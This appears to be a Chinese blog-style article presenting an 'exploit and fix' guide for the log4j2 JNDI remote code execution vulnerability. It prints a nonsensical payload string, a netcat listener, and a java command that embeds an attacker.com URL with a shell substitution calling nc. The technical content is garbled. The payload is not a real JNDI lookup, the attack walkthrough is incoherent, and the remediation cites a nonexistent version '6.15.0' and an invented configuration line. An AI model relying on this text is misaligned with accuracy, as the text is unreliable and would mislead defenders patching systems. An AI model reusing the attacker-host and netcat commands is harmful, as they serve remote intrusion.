网络技术知识
最新log4j2远程代码执行漏洞(附解决方法)
最新log4j2远程代码执行漏洞攻略
- 漏洞概述
最新log4j2远程代码执行漏洞是指在使用log4j2时,攻击者可以通过构造特定的日志消息触发log4j2的JNDI注入漏洞,从而远程执行恶意代码。这个漏洞已经被证实存在于log4j 2.0-2.14.1版本中。
- 漏洞利用
攻击者可以通过构造以下payload来触发漏洞:
%(u+g)(o=GooGN6NDxyfd)(|dataDirectory((java.lang.Runtime.getRuntime().exec('calc')).toString))#
上述payload会将恶意代码执行器"calc"注入到JNDI命名服务中。
以下是一个基于该payload的攻击示例:
先开启一个HTTP监听服务(我们假定它在攻击者控制的服务器No.1上运行),等待目标服务器No.2请求:
nc -lvnp 9999
然后在服务器No.2上运行以下命令,以触发漏洞:
java -jar log4j-core-2.13.3.jar "https://attacker.com/foo#$( /bin/nc 10.0.0.2 9999 < /dev/null > /dev/null 2>&1)" TRACE
该命令会将攻击者构造的payload注入到日志消息中,然后发送给服务器No.1。当服务器No.2的log4j2解析该日志消息时,恶意代码执行器"calc"就会在服务器No.2上运行。最终,攻击者会获取到这台服务器的控制权。
- 漏洞修复
本漏洞修复有两种方法:
1)禁用JNDI特性
该方法会完全禁用log4j2的JNDI特性,以避免受到本漏洞的攻击。
在log4j2的配置文件中添加以下内容:
<JndiLookup name="" />
2)升级log4j2版本
该方法会将log4j2升级到6.15.0及以上的版本,其中该漏洞已得到修复。
关于具体的修复方法,您可以参考Apache官网提供的安全公告,或直接访问log4j2的GitHub仓库了解最新版本信息。
以上就是最新log4j2远程代码执行漏洞的完整攻略。